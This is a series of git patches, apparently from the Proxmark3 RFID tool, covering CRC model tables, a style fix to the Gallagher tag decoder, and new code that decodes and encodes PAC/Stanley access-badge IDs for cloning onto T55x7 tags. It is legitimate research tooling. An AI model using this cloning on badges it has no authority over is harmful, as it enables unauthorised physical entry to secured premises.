(BMP_BIT - 32), /* 157 -- 16, c6c6 */ - BMP_C(0xc7000000) << (BMP_BIT - 32), /* 158 -- 8, c7 */ - BMP_C(0xc704dd7b) << (BMP_BIT - 32), /* 159 -- 32,c704dd7b */ - BMP_C(0xc8000000) << (BMP_BIT - 32), /* 160 -- 5, 19 */ - BMP_C(0xc8670000) << (BMP_BIT - 32), /* 161 -- 16, c867 */ - BMP_C(0xcbf43926) << (BMP_BIT - 32), /* 162 -- 32,cbf43926 */ - BMP_C(0xcde70300) << (BMP_BIT - 32), /* 163 -- 24, cde703 */ - BMP_C(0xce3c0000) << (BMP_BIT - 32), /* 164 -- 16, ce3c */ - BMP_C(0xd0000000) << (BMP_BIT - 32), /* 165 -- 8, d0 */ - BMP_C(0xd02a0000) << (BMP_BIT - 32), /* 166 -- 15, 6815 */ - BMP_C(0xd0db0000) << (BMP_BIT - 32), /* 167 -- 16, d0db */ - BMP_C(0xd3100000) << (BMP_BIT - 32), /* 168 -- 12, d31 */ - BMP_C(0xd3be9568) << (BMP_BIT - 32), /* 169 -- 30,34efa55a */ - BMP_C(0xd4d00000) << (BMP_BIT - 32), /* 170 -- 12, d4d */ - BMP_C(0xd5000000) << (BMP_BIT - 32), /* 171 -- 8, d5 */ - BMP_C(0xd64e0000) << (BMP_BIT - 32), /* 172 -- 16, d64e */ - BMP_C(0xda000000) << (BMP_BIT - 32), /* 173 -- 8, da */ - BMP_C(0xdaf00000) << (BMP_BIT - 32), /* 174 -- 12, daf */ - BMP_C(0xdebb20e3) << (BMP_BIT - 32), /* 175 -- 32,debb20e3 */ - BMP_C(0xdf000000) << (BMP_BIT - 32), /* 176 -- 8, df */ - BMP_C(0xe0000000) << (BMP_BIT - 32), /* 177 -- 3, 7 */ - BMP_C(0xe3069283) << (BMP_BIT - 32), /* 178 -- 32,e3069283 */ - BMP_C(0xe3940000) << (BMP_BIT - 32), /* 179 -- 16, e394 */ - BMP_C(0xe5cc0000) << (BMP_BIT - 32), /* 180 -- 16, e5cc */ - BMP_C(0xe7a80000) << (BMP_BIT - 32), /* 181 -- 13, 1cf5 */ - BMP_C(0xe8000000) << (BMP_BIT - 32), /* 182 -- 6, 3a */ - BMP_C(0xea000000) << (BMP_BIT - 32), /* 183 -- 7, 75 */ - BMP_C(0xea820000) << (BMP_BIT - 32), /* 184 -- 16, ea82 */ - BMP_C(0xec000000) << (BMP_BIT - 32), /* 185 -- 6, 3b */ - BMP_C(0xf0000000) << (BMP_BIT - 32), /* 186 -- 4, f */ - BMP_C(0xf0b80000) << (BMP_BIT - 32), /* 187 -- 16, f0b8 */ - BMP_C(0xf1300000) << (BMP_BIT - 32), /* 188 -- 12, f13 */ - BMP_C(0xf4000000) << (BMP_BIT - 32), /* 189 -- 8, f4 */ - BMP_C(0xf4acfb13) << (BMP_BIT - 32), /* 190 -- 32,f4acfb13 */ - BMP_C(0xf5b00000) << (BMP_BIT - 32), /* 191 -- 12, f5b */ - BMP_C(0xf6400000) << (BMP_BIT - 32), /* 192 -- 10, 3d9 */ - BMP_C(0xf7000000) << (BMP_BIT - 32), /* 193 -- 8, f7 */ - BMP_C(0xf8000000) << (BMP_BIT - 32), /* 194 -- 5, 1f */ - BMP_C(0xfc000000) << (BMP_BIT - 32), /* 195 -- 6, 3f */ - BMP_C(0xfc891918) << (BMP_BIT - 32), /* 196 -- 32,fc891918 */ - BMP_C(0xfd000000) << (BMP_BIT - 32), /* 197 -- 8, fd */ - BMP_C(0xfe000000) << (BMP_BIT - 32), /* 198 -- 7, 7f */ - BMP_C(0xfedcba00) << (BMP_BIT - 32), /* 199 -- 24, fedcba */ - BMP_C(0xfee80000) << (BMP_BIT - 32), /* 200 -- 16, fee8 */ - BMP_C(0xff000000) << (BMP_BIT - 32), /* 201 -- 8, ff */ - BMP_C(0xffc00000) << (BMP_BIT - 32), /* 202 -- 10, 3ff */ - BMP_C(0xfff00000) << (BMP_BIT - 32), /* 203 -- 12, fff */ - BMP_C(0xfffc0000) << (BMP_BIT - 32), /* 204 -- 14, 3fff */ - BMP_C(0xffff0000) << (BMP_BIT - 32), /* 205 -- 16, ffff */ - BMP_C(0xffffff00) << (BMP_BIT - 32), /* 206 -- 24, ffffff */ - BMP_C(0xfffffffc) << (BMP_BIT - 32), /* 207 -- 30,3fffffff */ - BMP_C(0xfffffffe) << (BMP_BIT - 32), /* 208 -- 31,7fffffff */ - BMP_C(0xffffffff) << (BMP_BIT - 32), /* 209 -- 32,ffffffff */ + BMP_C(0x00010000) << (BMP_BIT - 32), /* 1 -- 16, 0001 */ + BMP_C(0x00020000) << (BMP_BIT - 32), /* 2 -- 15, 0001 */ + BMP_C(0x00065b00) << (BMP_BIT - 32), /* 3 -- 24, 00065b */ + BMP_C(0x007e0000) << (BMP_BIT - 32), /* 4 -- 16, 007e */ + BMP_C(0x007f0000) << (BMP_BIT - 32), /* 5 -- 16, 007f */ + BMP_C(0x03400000) << (BMP_BIT - 32), /* 6 -- 11, 01a */ + BMP_C(0x0376e6e7) << (BMP_BIT - 32), /* 7 -- 32,0376e6e7 */ + BMP_C(0x04c11db7) << (BMP_BIT - 32), /* 8 -- 32,04c11db7 */ + BMP_C(0x05890000) << (BMP_BIT - 32), /* 9 -- 16, 0589 */ + BMP_C(0x07000000) << (BMP_BIT - 32), /* 10 -- 8, 07 */ + BMP_C(0x080b0000) << (BMP_BIT - 32), /* 11 -- 16, 080b */ + BMP_C(0x09823b6e) << (BMP_BIT - 32), /* 12 -- 31,04c11db7 */ + BMP_C(0x0b3c0000) << (BMP_BIT - 32), /* 13 -- 15, 059e */ + BMP_C(0x0c000000) << (BMP_BIT - 32), /* 14 -- 6, 03 */ + BMP_C(0x0c200000) << (BMP_BIT - 32), /* 15 -- 11, 061 */ + BMP_C(0x0c780000) << (BMP_BIT - 32), /* 16 -- 14, 031e */ + BMP_C(0x0fb30000) << (BMP_BIT - 32), /* 17 -- 16, 0fb3 */ + BMP_C(0x10210000) << (BMP_BIT - 32), /* 18 -- 16, 1021 */ + BMP_C(0x12000000) << (BMP_BIT - 32), /* 19 -- 7, 09 */ + BMP_C(0x130d2afc) << (BMP_BIT - 32), /* 20 -- 30,04c34abf */ + BMP_C(0x144e6300) << (BMP_BIT - 32), /* 21 -- 24, 144e63 */ + BMP_C(0x15000000) << (BMP_BIT - 32), /* 22 -- 8, 15 */ + BMP_C(0x1697d06a) << (BMP_BIT - 32), /* 23 -- 32,1697d06a */ + BMP_C(0x17800000) << (BMP_BIT - 32), /* 24 -- 12, 178 */ + BMP_C(0x18000000) << (BMP_BIT - 32), /* 25 -- 6, 06 */ + BMP_C(0x19d3c8d8) << (BMP_BIT - 32), /* 26 -- 31,0ce9e46c */ + BMP_C(0x1c000000) << (BMP_BIT - 32), /* 27 -- 6, 07 */ + BMP_C(0x1d000000) << (BMP_BIT - 32), /* 28 -- 8, 1d */ + BMP_C(0x1d0f0000) << (BMP_BIT - 32), /* 29 -- 16, 1d0f */ + BMP_C(0x1dcf0000) << (BMP_BIT - 32), /* 30 -- 16, 1dcf */ + BMP_C(0x1edc6f41) << (BMP_BIT - 32), /* 31 -- 32,1edc6f41 */ + BMP_C(0x1f23b800) << (BMP_BIT - 32), /* 32 -- 24, 1f23b8 */ + BMP_C(0x20000000) << (BMP_BIT - 32), /* 33 -- 4, 2 */ + BMP_C(0x200fa500) << (BMP_BIT - 32), /* 34 -- 24, 200fa5 */ + BMP_C(0x20140000) << (BMP_BIT - 32), /* 35 -- 14, 0805 */ + BMP_C(0x20b40000) << (BMP_BIT - 32), /* 36 -- 14, 082d */ + BMP_C(0x20fe0000) << (BMP_BIT - 32), /* 37 -- 16, 20fe */ + BMP_C(0x21890000) << (BMP_BIT - 32), /* 38 -- 16, 2189 */ + BMP_C(0x21cf0200) << (BMP_BIT - 32), /* 39 -- 24, 21cf02 */ + BMP_C(0x23ef5200) << (BMP_BIT - 32), /* 40 -- 24, 23ef52 */ + BMP_C(0x25000000) << (BMP_BIT - 32), /* 41 -- 8, 25 */ + BMP_C(0x26000000) << (BMP_BIT - 32), /* 42 -- 8, 26 */ + BMP_C(0x26b10000) << (BMP_BIT - 32), /* 43 -- 16, 26b1 */ + BMP_C(0x27818000) << (BMP_BIT - 32), /* 44 -- 17, 04f03 */ + BMP_C(0x27d00000) << (BMP_BIT - 32), /* 45 -- 13, 04fa */ + BMP_C(0x28000000) << (BMP_BIT - 32), /* 46 -- 5, 05 */ + BMP_C(0x29b10000) << (BMP_BIT - 32), /* 47 -- 16, 29b1 */ + BMP_C(0x2f000000) << (BMP_BIT - 32), /* 48 -- 8, 2f */ + BMP_C(0x30000000) << (BMP_BIT - 32), /* 49 -- 4, 3/ 5, 6 */ + BMP_C(0x3010bf7f) << (BMP_BIT - 32), /* 50 -- 32,3010bf7f */ + BMP_C(0x31000000) << (BMP_BIT - 32), /* 51 -- 8, 31 */ + BMP_C(0x31800000) << (BMP_BIT - 32), /* 52 -- 10, 0c6 */ + BMP_C(0x31c30000) << (BMP_BIT - 32), /* 53 -- 16, 31c3 */ + BMP_C(0x328b6300) << (BMP_BIT - 32), /* 54 -- 24, 328b63 */ + BMP_C(0x34000000) << (BMP_BIT - 32), /* 55 -- 6, 0d */ + BMP_C(0x340bc6d9) << (BMP_BIT - 32), /* 56 -- 32,340bc6d9 */ + BMP_C(0x37000000) << (BMP_BIT - 32), /* 57 -- 8, 37 */ + BMP_C(0x38000000) << (BMP_BIT - 32), /* 58 -- 5, 07 */ + BMP_C(0x39000000) << (BMP_BIT - 32), /* 59 -- 8, 39 */ + BMP_C(0x3d650000) << (BMP_BIT - 32), /* 60 -- 16, 3d65 */ + BMP_C(0x3e000000) << (BMP_BIT - 32), /* 61 -- 8, 3e */ + BMP_C(0x40000000) << (BMP_BIT - 32), /* 62 -- 3, 2 */ + BMP_C(0x42000000) << (BMP_BIT - 32), /* 63 -- 8, 42 */ + BMP_C(0x44c20000) << (BMP_BIT - 32), /* 64 -- 16, 44c2 */ + BMP_C(0x45270551) << (BMP_BIT - 32), /* 65 -- 32,45270551 */ + BMP_C(0x48000000) << (BMP_BIT - 32), /* 66 -- 5, 09 */ + BMP_C(0x49000000) << (BMP_BIT - 32), /* 67 -- 8, 49 */ + BMP_C(0x4a800000) << (BMP_BIT - 32), /* 68 -- 10, 12a */ + BMP_C(0x4acc0000) << (BMP_BIT - 32), /* 69 -- 15, 2566 */ + BMP_C(0x4b000000) << (BMP_BIT - 32), /* 70 -- 8, 4b */ + BMP_C(0x4b370000) << (BMP_BIT - 32), /* 71 -- 16, 4b37 */ + BMP_C(0x4c000000) << (BMP_BIT - 32), /* 72 -- 6, 13 */ + BMP_C(0x4c060000) << (BMP_BIT - 32), /* 73 -- 16, 4c06 */ + BMP_C(0x53000000) << (BMP_BIT - 32), /* 74 -- 8, 53 */ + BMP_C(0x55000000) << (BMP_BIT - 32), /* 75 -- 8, 55 */ + BMP_C(0x55555500) << (BMP_BIT - 32), /* 76 -- 24, 555555 */ + BMP_C(0x59350000) << (BMP_BIT - 32), /* 77 -- 16, 5935 */ + BMP_C(0x5d380000) << (BMP_BIT - 32), /* 78 -- 16, 5d38 */ + BMP_C(0x5d400000) << (BMP_BIT - 32), /* 79 -- 10, 175 */ + BMP_C(0x5d6dcb00) << (BMP_BIT - 32), /* 80 -- 24, 5d6dcb */ + BMP_C(0x60000000) << (BMP_BIT - 32), /* 81 -- 3, 3 */ + BMP_C(0x60e00000) << (BMP_BIT - 32), /* 82 -- 11, 307 */ + BMP_C(0x63d00000) << (BMP_BIT - 32), /* 83 -- 16, 63d0 */ + BMP_C(0x64000000) << (BMP_BIT - 32), /* 84 -- 6, 19 */ + BMP_C(0x66400000) << (BMP_BIT - 32), /* 85 -- 10, 199 */ + BMP_C(0x66c50000) << (BMP_BIT - 32), /* 86 -- 16, 66c5 */ + BMP_C(0x6f630000) << (BMP_BIT - 32), /* 87 -- 16, 6f63 */ + BMP_C(0x6f910000) << (BMP_BIT - 32), /* 88 -- 16, 6f91 */ + BMP_C(0x70000000) << (BMP_BIT - 32), /* 89 -- 4, 7 */ + BMP_C(0x70a00000) << (BMP_BIT - 32), /* 90 -- 11, 385 */ + BMP_C(0x755b0000) << (BMP_BIT - 32), /* 91 -- 16, 755b */ + BMP_C(0x765e7680) << (BMP_BIT - 32), /* 92 -- 32,765e7680 */ + BMP_C(0x76c20800) << (BMP_BIT - 32), /* 93 -- 32, 0ed841 */ + BMP_C(0x7979bd00) << (BMP_BIT - 32), /* 94 -- 24, 7979bd */ + BMP_C(0x7e000000) << (BMP_BIT - 32), /* 95 -- 8, 7e */ + BMP_C(0x80000000) << (BMP_BIT - 32), /* 96 -- 3, 4 */ + BMP_C(0x80006300) << (BMP_BIT - 32), /* 97 -- 24, 800063 */ + BMP_C(0x80050000) << (BMP_BIT - 32), /* 98 -- 16, 8005 */ + BMP_C(0x800d0000) << (BMP_BIT - 32), /* 99 -- 16, 800d */ + BMP_C(0x800fe300) << (BMP_BIT - 32), /* 100 -- 24, 800fe3 */ + BMP_C(0x80b40000) << (BMP_BIT - 32), /* 101 -- 14, 202d */ + BMP_C(0x80c2e71c) << (BMP_BIT - 32), /* 102 -- 30,2030b9c7 */ + BMP_C(0x80f00000) << (BMP_BIT - 32), /* 103 -- 12, 80f */ + BMP_C(0x814141ab) << (BMP_BIT - 32), /* 104 -- 32,814141ab */ + BMP_C(0x8144c800) << (BMP_BIT - 32), /* 105 -- 21, 102899 */ + BMP_C(0x864cfb00) << (BMP_BIT - 32), /* 106 -- 24, 864cfb */ + BMP_C(0x87315576) << (BMP_BIT - 32), /* 107 -- 32,87315576 */ + BMP_C(0x89ec0000) << (BMP_BIT - 32), /* 108 -- 16, 89ec */ + BMP_C(0x8a000000) << (BMP_BIT - 32), /* 109 -- 7, 45 */ + BMP_C(0x8b320000) << (BMP_BIT - 32), /* 110 -- 15, 4599 */ + BMP_C(0x8bb70000) << (BMP_BIT - 32), /* 111 -- 16, 8bb7 */ + BMP_C(0x8cc00000) << (BMP_BIT - 32), /* 112 -- 10, 233 */ + BMP_C(0x904cddbf) << (BMP_BIT - 32), /* 113 -- 32,904cddbf */ + BMP_C(0x906e0000) << (BMP_BIT - 32), /* 114 -- 16, 906e */ + BMP_C(0x94000000) << (BMP_BIT - 32), /* 115 -- 8, 94 */ + BMP_C(0x97000000) << (BMP_BIT - 32), /* 116 -- 8, 97 */ + BMP_C(0x98000000) << (BMP_BIT - 32), /* 117 -- 6, 26 */ + BMP_C(0x99000000) << (BMP_BIT - 32), /* 118 -- 8, 99 */ + BMP_C(0x9b000000) << (BMP_BIT - 32), /* 119 -- 8, 9b */ + BMP_C(0x9c000000) << (BMP_BIT - 32), /* 120 -- 6, 27 */ + BMP_C(0x9d5e4de2) << (BMP_BIT - 32), /* 121 -- 31,4eaf26f1 */ + BMP_C(0x9e000000) << (BMP_BIT - 32), /* 122 -- 7, 4f */ + BMP_C(0x9ecf0000) << (BMP_BIT - 32), /* 123 -- 16, 9ecf */ + BMP_C(0xa0660000) << (BMP_BIT - 32), /* 124 -- 16, a066 */ + BMP_C(0xa0970000) << (BMP_BIT - 32), /* 125 -- 16, a097 */ + BMP_C(0xa1000000) << (BMP_BIT - 32), /* 126 -- 8, a1 */ + BMP_C(0xa3660000) << (BMP_BIT - 32), /* 127 -- 16, a366 */ + BMP_C(0xa6000000) << (BMP_BIT - 32), /* 128 -- 7, 53 */ + BMP_C(0xa7000000) << (BMP_BIT - 32), /* 129 -- 8, a7 */ + BMP_C(0xa8000000) << (BMP_BIT - 32), /* 130 -- 5, 15 */ + BMP_C(0xa8190000) << (BMP_BIT - 32), /* 131 -- 16, a819 */ + BMP_C(0xa833982b) << (BMP_BIT - 32), /* 132 -- 32,a833982b */ + BMP_C(0xabcdef00) << (BMP_BIT - 32), /* 133 -- 24, abcdef */ + BMP_C(0xac000000) << (BMP_BIT - 32), /* 134 -- 8, ac */ + BMP_C(0xaee70000) << (BMP_BIT - 32), /* 135 -- 16, aee7 */ + BMP_C(0xb0000000) << (BMP_BIT - 32), /* 136 -- 4, b */ + BMP_C(0xb0010000) << (BMP_BIT - 32), /* 137 -- 16, b001 */ + BMP_C(0xb2aa0000) << (BMP_BIT - 32), /* 138 -- 16, b2aa */ + BMP_C(0xb3400000) << (BMP_BIT - 32), /* 139 -- 12, b34 */ + BMP_C(0xb42d8000) << (BMP_BIT - 32), /* 140 -- 17, 1685b */ + BMP_C(0xb4600000) << (BMP_BIT - 32), /* 141 -- 11, 5a3 */ + BMP_C(0xb4c80000) << (BMP_BIT - 32), /* 142 -- 16, b4c8 */ + BMP_C(0xb4f3e600) << (BMP_BIT - 32), /* 143 -- 24, b4f3e6 */ + BMP_C(0xb704ce00) << (BMP_BIT - 32), /* 144 -- 24, b704ce */ + BMP_C(0xb798b438) << (BMP_BIT - 32), /* 145 -- 32,b798b438 */ + BMP_C(0xbb3d0000) << (BMP_BIT - 32), /* 146 -- 16, bb3d */ + BMP_C(0xbc000000) << (BMP_BIT - 32), /* 147 -- 6,2f/ 8,bc */ + BMP_C(0xbd0be338) << (BMP_BIT - 32), /* 148 -- 32,bd0be338 */ + BMP_C(0xbdf40000) << (BMP_BIT - 32), /* 149 -- 16, bdf4 */ + BMP_C(0xbf050000) << (BMP_BIT - 32), /* 150 -- 16, bf05 */ + BMP_C(0xc0000000) << (BMP_BIT - 32), /* 151 -- 3, 6 */ + BMP_C(0xc2000000) << (BMP_BIT - 32), /* 152 -- 7, 61 */ + BMP_C(0xc25a5600) << (BMP_BIT - 32), /* 153 -- 24, c25a56 */ + BMP_C(0xc2b70000) << (BMP_BIT - 32), /* 154 -- 16, c2b7 */ + BMP_C(0xc2b80000) << (BMP_BIT - 32), /* 155 -- 14, 30ae */ + BMP_C(0xc4000000) << (BMP_BIT - 32), /* 156 -- 8, c4 */ + BMP_C(0xc6c60000) << (BMP_BIT - 32), /* 157 -- 16, c6c6 */ + BMP_C(0xc7000000) << (BMP_BIT - 32), /* 158 -- 8, c7 */ + BMP_C(0xc704dd7b) << (BMP_BIT - 32), /* 159 -- 32,c704dd7b */ + BMP_C(0xc8000000) << (BMP_BIT - 32), /* 160 -- 5, 19 */ + BMP_C(0xc8670000) << (BMP_BIT - 32), /* 161 -- 16, c867 */ + BMP_C(0xcbf43926) << (BMP_BIT - 32), /* 162 -- 32,cbf43926 */ + BMP_C(0xcde70300) << (BMP_BIT - 32), /* 163 -- 24, cde703 */ + BMP_C(0xce3c0000) << (BMP_BIT - 32), /* 164 -- 16, ce3c */ + BMP_C(0xd0000000) << (BMP_BIT - 32), /* 165 -- 8, d0 */ + BMP_C(0xd02a0000) << (BMP_BIT - 32), /* 166 -- 15, 6815 */ + BMP_C(0xd0db0000) << (BMP_BIT - 32), /* 167 -- 16, d0db */ + BMP_C(0xd3100000) << (BMP_BIT - 32), /* 168 -- 12, d31 */ + BMP_C(0xd3be9568) << (BMP_BIT - 32), /* 169 -- 30,34efa55a */ + BMP_C(0xd4d00000) << (BMP_BIT - 32), /* 170 -- 12, d4d */ + BMP_C(0xd5000000) << (BMP_BIT - 32), /* 171 -- 8, d5 */ + BMP_C(0xd64e0000) << (BMP_BIT - 32), /* 172 -- 16, d64e */ + BMP_C(0xda000000) << (BMP_BIT - 32), /* 173 -- 8, da */ + BMP_C(0xdaf00000) << (BMP_BIT - 32), /* 174 -- 12, daf */ + BMP_C(0xdebb20e3) << (BMP_BIT - 32), /* 175 -- 32,debb20e3 */ + BMP_C(0xdf000000) << (BMP_BIT - 32), /* 176 -- 8, df */ + BMP_C(0xe0000000) << (BMP_BIT - 32), /* 177 -- 3, 7 */ + BMP_C(0xe3069283) << (BMP_BIT - 32), /* 178 -- 32,e3069283 */ + BMP_C(0xe3940000) << (BMP_BIT - 32), /* 179 -- 16, e394 */ + BMP_C(0xe5cc0000) << (BMP_BIT - 32), /* 180 -- 16, e5cc */ + BMP_C(0xe7a80000) << (BMP_BIT - 32), /* 181 -- 13, 1cf5 */ + BMP_C(0xe8000000) << (BMP_BIT - 32), /* 182 -- 6, 3a */ + BMP_C(0xea000000) << (BMP_BIT - 32), /* 183 -- 7, 75 */ + BMP_C(0xea820000) << (BMP_BIT - 32), /* 184 -- 16, ea82 */ + BMP_C(0xec000000) << (BMP_BIT - 32), /* 185 -- 6, 3b */ + BMP_C(0xf0000000) << (BMP_BIT - 32), /* 186 -- 4, f */ + BMP_C(0xf0b80000) << (BMP_BIT - 32), /* 187 -- 16, f0b8 */ + BMP_C(0xf1300000) << (BMP_BIT - 32), /* 188 -- 12, f13 */ + BMP_C(0xf4000000) << (BMP_BIT - 32), /* 189 -- 8, f4 */ + BMP_C(0xf4acfb13) << (BMP_BIT - 32), /* 190 -- 32,f4acfb13 */ + BMP_C(0xf5b00000) << (BMP_BIT - 32), /* 191 -- 12, f5b */ + BMP_C(0xf6400000) << (BMP_BIT - 32), /* 192 -- 10, 3d9 */ + BMP_C(0xf7000000) << (BMP_BIT - 32), /* 193 -- 8, f7 */ + BMP_C(0xf8000000) << (BMP_BIT - 32), /* 194 -- 5, 1f */ + BMP_C(0xfc000000) << (BMP_BIT - 32), /* 195 -- 6, 3f */ + BMP_C(0xfc891918) << (BMP_BIT - 32), /* 196 -- 32,fc891918 */ + BMP_C(0xfd000000) << (BMP_BIT - 32), /* 197 -- 8, fd */ + BMP_C(0xfe000000) << (BMP_BIT - 32), /* 198 -- 7, 7f */ + BMP_C(0xfedcba00) << (BMP_BIT - 32), /* 199 -- 24, fedcba */ + BMP_C(0xfee80000) << (BMP_BIT - 32), /* 200 -- 16, fee8 */ + BMP_C(0xff000000) << (BMP_BIT - 32), /* 201 -- 8, ff */ + BMP_C(0xffc00000) << (BMP_BIT - 32), /* 202 -- 10, 3ff */ + BMP_C(0xfff00000) << (BMP_BIT - 32), /* 203 -- 12, fff */ + BMP_C(0xfffc0000) << (BMP_BIT - 32), /* 204 -- 14, 3fff */ + BMP_C(0xffff0000) << (BMP_BIT - 32), /* 205 -- 16, ffff */ + BMP_C(0xffffff00) << (BMP_BIT - 32), /* 206 -- 24, ffffff */ + BMP_C(0xfffffffc) << (BMP_BIT - 32), /* 207 -- 30,3fffffff */ + BMP_C(0xfffffffe) << (BMP_BIT - 32), /* 208 -- 31,7fffffff */ + BMP_C(0xffffffff) << (BMP_BIT - 32), /* 209 -- 32,ffffffff */ }; static const struct malias aliases[]; From c87e8faefca62c29c6908ddde0cff982de679ac2 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:32:54 +0100 Subject: [PATCH 191/418] style --- client/cmdlfgallagher.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/client/cmdlfgallagher.c b/client/cmdlfgallagher.c index 4752343d5..df822f24a 100644 --- a/client/cmdlfgallagher.c +++ b/client/cmdlfgallagher.c @@ -40,7 +40,7 @@ static int usage_lf_gallagher_clone(void) { return PM3_SUCCESS; } -static void descramble( uint8_t *arr, uint8_t len) { +static void descramble(uint8_t *arr, uint8_t len) { uint8_t lut[] = { 0xa3, 0xb0, 0x80, 0xc6, 0xb2, 0xf4, 0x5c, 0x6c, 0x81, 0xf1, 0xbb, 0xeb, 0x55, 0x67, 0x3c, 0x05, @@ -100,16 +100,16 @@ static int CmdGallagherDemod(const char *Cmd) { // bytes uint8_t arr[8] = {0}; - for(int i = 0, pos = 0; i < ARRAYLEN(arr); i++) { - pos = (i * 8) + i; + for (int i = 0, pos = 0; i < ARRAYLEN(arr); i++) { + pos = (i * 8) + i; arr[i] = bytebits_to_byte(DemodBuffer + pos, 8); - printf("%d -", pos ); + printf("%d -", pos); } printf("\n"); // crc uint8_t crc = bytebits_to_byte(DemodBuffer + 72, 8); - uint8_t calc_crc = CRC8Cardx(arr, ARRAYLEN(arr) ); + uint8_t calc_crc = CRC8Cardx(arr, ARRAYLEN(arr)); PrintAndLogEx(INFO, " Before: %s", sprint_hex(arr, 8)); descramble(arr, ARRAYLEN(arr)); @@ -130,7 +130,7 @@ static int CmdGallagherDemod(const char *Cmd) { PrintAndLogEx(SUCCESS, "GALLAGHER Tag Found -- Region: %u FC: %u CN: %u Issue Level: %u", rc, fc, cn, il); PrintAndLogEx(SUCCESS, " Printed: %C%u", rc + 0x40, fc); PrintAndLogEx(SUCCESS, " Raw: %08X%08X%08X", raw1, raw2, raw3); - PrintAndLogEx(SUCCESS, " CRC: %02X - %02X (%s)", crc, calc_crc, (crc == calc_crc) ? "OK":"Failed"); + PrintAndLogEx(SUCCESS, " CRC: %02X - %02X (%s)", crc, calc_crc, (crc == calc_crc) ? "OK" : "Failed"); return PM3_SUCCESS; } @@ -214,7 +214,7 @@ int detectGallagher(uint8_t *dest, size_t *size) { uint8_t preamble[] = { 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0 }; if (!preambleSearch(dest, preamble, sizeof(preamble), size, &startIdx)) return -2; //preamble not found - + if (*size != 96) return -3; //wrong demoded size //return start position return (int)startIdx; From a290d18918aaec9b945176928ca05e4d9efbe9d6 Mon Sep 17 00:00:00 2001 From: danshuk Date: Wed, 1 Jan 2020 00:12:09 +0000 Subject: [PATCH 192/418] cmdlfpac - add decode / encode card ID --- client/cmdlfpac.c | 135 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 120 insertions(+), 15 deletions(-) diff --git a/client/cmdlfpac.c b/client/cmdlfpac.c index eb1b20cd9..04ff13633 100644 --- a/client/cmdlfpac.c +++ b/client/cmdlfpac.c @@ -4,8 +4,8 @@ // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// Low frequency Stanley/PAC tag commands -// NRZ, RF/32, 128 bits long (unknown cs) +// Low frequency PAC/Stanley tag commands +// NRZ, RF/32, 128 bits long //----------------------------------------------------------------------------- #include "cmdlfpac.h" @@ -21,22 +21,111 @@ #include "lfdemod.h" // preamble test #include "protocols.h" // t55xx defines #include "cmdlft55xx.h" // clone.. +#include "parity.h" static int CmdHelp(const char *Cmd); static int usage_lf_pac_clone(void) { - PrintAndLogEx(NORMAL, "clone a Stanley/PAC tag to a T55x7 tag."); + PrintAndLogEx(NORMAL, "clone a PAC/Stanley tag to a T55x7 tag."); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: lf pac clone [h] [b ]"); + PrintAndLogEx(NORMAL, "Usage: lf pac clone [h] [c ] [b ]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h : this help"); - PrintAndLogEx(NORMAL, " b : raw hex data. 12 bytes max"); + PrintAndLogEx(NORMAL, " c : 8 byte card ID"); + PrintAndLogEx(NORMAL, " b : raw hex data. 16 bytes max"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " lf pac clone c CD4F5552 "); PrintAndLogEx(NORMAL, " lf pac clone b FF2049906D8511C593155B56D5B2649F "); return PM3_SUCCESS; } +// by danshuk +// PAC_8byte format: preamble (8 mark/idle bits), ascii STX (02), ascii '2' (32), ascii '0' (30), ascii bytes 0..7 (cardid), then xor checksum of cardid bytes +// all bytes following 8 bit preamble are one start bit (0), 7 data bits (lsb first), odd parity bit, and one stop bit (1) +static int demodbuf_to_pacid(uint8_t *src, const size_t src_size, uint8_t *dst, const size_t dst_size) { + const size_t byteLength = 10; // start bit, 7 data bits, parity bit, stop bit + const size_t startIndex = 8 + (3 * byteLength) + 1; // skip 8 bits preamble, STX, '2', '0', and first start bit + const size_t dataLength = 9; + + if (startIndex + byteLength * (dataLength - 1) > src_size) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Source buffer too small"); + return PM3_EOVFLOW; + } + if (dataLength > dst_size) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Destination buffer too small"); + return PM3_EOVFLOW; + } + + uint8_t checksum = 0; + for (size_t idx = 0; idx < dataLength; idx++) { + uint8_t byte = (uint8_t)bytebits_to_byteLSBF(src + startIndex + (byteLength * idx), 8); + dst[idx] = byte & 0x7F; // discard the parity bit + if (oddparity8(dst[idx]) != (byte & 0x80) >> 7) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Parity check failed"); + return PM3_ESOFT; + } + if (idx < dataLength - 1) checksum ^= byte; + } + if (dst[dataLength - 1] != checksum) { + PrintAndLogEx(DEBUG, "DEBUG: Error - PAC: Bad checksum - expected: %02X, actual: %02X", dst[dataLength - 1], checksum); + return PM3_ESOFT; + } + dst[dataLength - 1] = 0; // overwrite checksum byte with null terminator + + return PM3_SUCCESS; +} + +/* +// convert a 16 byte array of raw demod data (FF204990XX...) to 8 bytes of PAC_8byte ID +// performs no parity or checksum validation +static void pacRawToCardId(uint8_t* outCardId, const uint8_t* rawBytes) { + for (int i = 4; i < 12; i++) { + uint8_t shift = 7 - (i + 3) % 4 * 2; + size_t index = i + (i - 1) / 4; + + outCardId[i - 4] = reflect8((((rawBytes[index] << 8) | (rawBytes[index + 1])) >> shift) & 0xFE); + } +} +*/ + +// convert 8 bytes of PAC_8byte ID to 16 byte array of raw data (FF204990XX...) +static void pacCardIdToRaw(uint8_t* outRawBytes, const char* cardId) { + uint8_t idbytes[10]; + + // prepend PAC_8byte card type "20" + idbytes[0] = '2'; + idbytes[1] = '0'; + for (size_t i = 0; i < 8; i++) + idbytes[i + 2] = toupper(cardId[i]); + + // initialise array with start and stop bits + for (size_t i = 0; i < 16; i++) + outRawBytes[i] = 0x40 >> (i + 3) % 5 * 2; + + outRawBytes[0] = 0xFF; // mark + stop + outRawBytes[1] = 0x20; // start + reflect8(STX) + + uint8_t checksum = 0; + for (size_t i = 2; i < 13; i++) { + uint8_t shift = 7 - (i + 3) % 4 * 2; + 